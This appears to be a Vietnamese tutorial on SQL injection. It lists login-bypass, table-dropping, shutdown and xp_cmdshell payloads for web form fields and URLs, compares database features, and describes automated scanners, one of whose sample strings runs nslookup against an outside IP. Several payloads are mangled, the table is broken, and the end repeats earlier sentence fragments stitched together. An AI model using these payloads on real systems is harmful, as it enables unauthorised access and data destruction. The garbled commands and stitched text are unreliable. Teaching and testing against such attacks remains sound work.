Nói thêmvềSQL
Injection
Đa số các trang web hiện nay,tuỳ thuộc vào nội dung mà thiết
kế cho riêng mình 1 giao diện bắt mắt.Để làm việc này họ chỉ
cần download database từ trên Internet về và sữa đổi dữ liệu
đã được cập nhật từ 1 database.Một trong những nền phổ
biến cho web datastores là SQL.
Một hay nhiều ứng dụng web thì được đơn giản toàn bộ những
script đầu vào bằng cách truy vấn 1 SQL database,bản thân web
server hoặc 1 hệ thống đầu cuối riêng biệt.Một trong những cuộc
tấn công xảo quyệt nhất ứng dụng web bao gồm việc đánh cắp
queries sử dụng bởi bản thân những scripts đầu vào để tước
quyền điều khiển những ứng dụng hoặc dữ liệu của nó.Một trong
những cơ cấu có hiệu quả nhất để thực hiên điều này là kĩ thuật
được mang tên "SQL Injection".
SQL Injection chỉ việc đưa vào những đoạn truy vấn nguy hiểm
TransacSQL vào 1 vị trí để thực hiện những hoạt động không
ngờ.Thường thì những đoạn truy vấn hiện có đơn giản là Edit để
hoàn thành những kết quả tương tự.
TransactSQL thì dễ dàng vận dụng bằng sự thay thế 1 kí tự
đơn,tuỳ thuộc vào sự sáng suốt có kẻ tấn công để đưa ra những
đoạn truy vấn nguy hiểm.
Một số các kí tự thường được sử dụng để chèn dữ lịêu vào hợp lệ
trong bao gồm (');( );và ;.Chúng có những ý nghĩa đặc biệt trong
Transact SQL.
Chúng ta sẽ tự hỏi là khi hacker đánh cắp được SQL query chúng
sẽ làm gì?.Ban đầu họ có thể xâm nhập trái phép các dữ liệu.Với
những kĩ thuật kín đáo,họ có thể truy cập 1 cách hợp pháp,hoặc
thậm chí là tìm cách hoàn toàn điều khiển toàn bộ webserver
hoặc hệ thống SQL đầu cuối.
Ví dụ vềSQL Injection:Để tìm vị trí bị lỗi SQL Injection,ta gõ 1
số từ khoá trong Form field như sau:
+Đăng nhập hợp pháp:
-Xác nhận đúng mà không cần bất kì điều kiện nào:
USER:' OR "='
PASS:' OR "='
-Xác nhận đúng chỉ với username:
USER:admin'
-Xác nhận đúng như là người dùng đầu tiên trong user table:
USER:' or 1=1
-Xác nhận đúng như là 1 người dùng giả tạo:
USER:' union select 1,'user','passwd' 1
+Phá hoại:
-Bỏ 1 bảng dữ liệu:
USER:';drop table users
-Shutdown dữ liệu từ xa:
USER:aaaaaaaaaaaaaaa'
PASS:';shutdown
+Thực thi chức năng yêu cầu lấy và lưu trữ những thủ tục:
-Thi hành xp_cmdshell để lấy 1 danh sách thư mục:
http://localhost/script?0';EXEC+master #39;dir';
-Thi hành xp_service control để chiếm đoạt service:
http://localhost/script?0';EXECT+maste ;server';
Không phải cú pháp trên đều làm việc hầu hết trên các dữ
liệu.Thông tin sau sẽ cho biết những phương pháp chúng ta đã sơ
lược phía trên sẽ làm việc hay không trong những nền chứa dữ
liệu.Vì không kẻ bảng được nên mình gõ như sau cho dễ so sánh:
Datapase specific Information: My SQL Oracle DB2
-Postgre MSSQL
UNION possible: Y Y Y
Y Y
Subselects possible: N Y Y
Y Y
Multiple statements: N(mostly) N N
Y Y
Default stored procedures: _ Many(utf-file) _
_ M(cmdshell)
Other Comments: Supports"intooutfile"-_ _
_ _
+Các công cụ tự động tìm lỗi SQL injection:
SQL Injection thường được thực hiện bằng kĩ thuật của
hacker,nhưng 1 vài công cụ có thể tự động quá trình nhận dạng
và khai thac chỗ yếu.Wpoison là công cụ có thể phát hiện lỗi
SQLInjection trong các trang web.Những đoạn string tìm lỗi SQL
thì được lưu trữ trong 1 file từ điển,và vì thế nó trở lên dễ dàng
cho bất kì ai thêm vào danh sách từ điển cho riêng mình.Wpoison
chạy trên Linux,có thể download tại:
http://wpoison.sourceforge.net
Ngoài ra còn có công cụ SPIKE Proxy,nó có các chức năng khá
tốt-tự động thực hiện SQLInjection -những d0oạn string sẽ được
Inject tuỳ vào thói quen người sử dụng .SPIKE Proxy là 1 Python
và OpenSSL-công cụ đánh giá ứng dụng web cơ bản có các chức
năng như HTTP và HTTPS Proxy Nó cho phép người phát triển
web hoặc người quản trị ứng dụng web cấp thấp truy cập vào
tòan bộ phương tiện ứng dụng web,trong khi nó cũng cung cấp 1
nhóm các công cụ tự động và những kĩ năng khám phá ra những
lỗi thông thường,các công cụ đó bao gồm:SQL Injection,Website
Crawler,Login Form Brute Forcer,Automated Overflow
Detection v.vSpike Proxy chạy trên Win32 và Linux,các bạn có
thể Download tại:
www.immunitysec.com/spike.html
Chú ý là phần mềm này nặng khoảng 13M và máy tính của bạn
phải có sẵn Python và OpenSSL.Trong WinXP công cụ này
không hoạt động.
Mieliekoek.pl là 1 SQL Insertion Crawler,có chức năng kiểm tra
các form liên quan đến lỗi SQL.Scrip này cung cấp 1 công cụ
Web mirroring như là dữ liệu vào,xem xét từng file và nhân diện
sự tồn tại các form trong file.Các chuỗi được Inject có thể dễ
dàng thay đổi trong file cấu hình.Download Mieliekoek tại:
http://packetstormsecurity.nl/UNIX/security/mieliekoek.pl
Công cụ này chỉ hoạt động khi máy bạn đã cài PERL.Sau đây là
1 ví dụ của dữ liệu xuất từ mieliekoek:
$badstring="blah''';
#$badstring="blah' or 1=1 ";
$badstring="blah' exec master xp_cmdshell 'nslookup a.com
196.30.67.5' - ';
. điều khiển toàn bộ webserver
hoặc hệ thống SQL đầu cuối.
Ví dụ về SQL Injection: Để tìm vị trí bị lỗi SQL Injection, ta gõ 1
số từ khoá trong Form field. kĩ thuật
được mang tên " ;SQL Injection& quot;.
SQL Injection chỉ việc đưa vào những đoạn truy vấn nguy hiểm
TransacSQL vào 1 vị trí để thực hiện